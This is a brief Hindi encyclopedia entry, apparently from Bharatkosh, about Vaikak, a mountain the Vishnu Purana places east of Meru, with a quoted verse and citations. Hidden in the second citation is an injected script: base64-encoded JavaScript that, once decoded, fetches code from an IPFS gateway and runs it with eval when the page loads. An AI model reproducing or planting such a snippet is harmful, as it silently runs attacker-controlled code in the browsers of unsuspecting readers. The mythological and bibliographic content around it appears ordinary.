वैकक पर्वत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

वैकक नामक एक पर्वत का उल्लेख विष्णुपुराण में हुआ है। विष्णुपुराण के अनुसार यह पर्वत मेरु के पूर्व की ओर स्थित पर्वत था-

'शीतांभश्च कुमुदश्च कुररी माल्यावांस्तथा बैंककप्रमुखा मेरोः पूर्वतः केसराचलाः।'[1]

[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. विष्णुपुराण 2,2,26.
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 878 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख